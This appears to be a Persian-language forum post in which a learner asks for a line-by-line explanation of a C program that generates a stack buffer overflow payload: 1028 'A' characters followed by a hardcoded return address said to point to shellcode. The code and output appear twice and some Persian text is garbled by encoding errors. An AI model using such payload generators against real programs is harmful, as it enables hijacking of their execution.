سلام.
بچه ها من تو این تاپیک می خوام با کمک شما درباره ی buffer overlfow اطلاعات کسب کنم .
بچه ها این کد رو نگاه کنید در خط دوم این 0xbfffe2cf چه معنی میده آدرس شل کد است اما چگونه آن را بدست آوردیم و به چه درد می خورد و اگه میشه خط به خط را آنالیز کنید.
خروجی Øاصل اینه Ú©Ù‡ من Ù…Ùهوم آن را Ù†Ùهمیدم : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA
اگه میشه خط به خط را آنالیز کنید.
بچه ها من تو این تاپیک می خوام با کمک شما درباره ی buffer overlfow اطلاعات کسب کنم .
#include <stdio.h>
#define RETADDR 0xbfffe2cf // Address to shellcode
main()
{
char buf[1033]; // Our evil buffer
char *p; // pointer to buf
p = buf;
memset(p, 0x41, 1028); // clean buffer with 'A'
p += 1028; // This is the align of the buffer
// 1029-1033 is the return address
// Write return address
*((void **)p) = (void *) (RETADDR);
p+=4; // Jump 4 bytes because RETADDR is 4 bytes
*p = '\0'; // Null terminate
// Print the evil buffer
printf("%s", buf);
}
#define RETADDR 0xbfffe2cf // Address to shellcode
main()
{
char buf[1033]; // Our evil buffer
char *p; // pointer to buf
p = buf;
memset(p, 0x41, 1028); // clean buffer with 'A'
p += 1028; // This is the align of the buffer
// 1029-1033 is the return address
// Write return address
*((void **)p) = (void *) (RETADDR);
p+=4; // Jump 4 bytes because RETADDR is 4 bytes
*p = '\0'; // Null terminate
// Print the evil buffer
printf("%s", buf);
}
بچه ها این کد رو نگاه کنید در خط دوم این 0xbfffe2cf چه معنی میده آدرس شل کد است اما چگونه آن را بدست آوردیم و به چه درد می خورد و اگه میشه خط به خط را آنالیز کنید.
خروجی Øاصل اینه Ú©Ù‡ من Ù…Ùهوم آن را Ù†Ùهمیدم : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA
اگه میشه خط به خط را آنالیز کنید.
Comment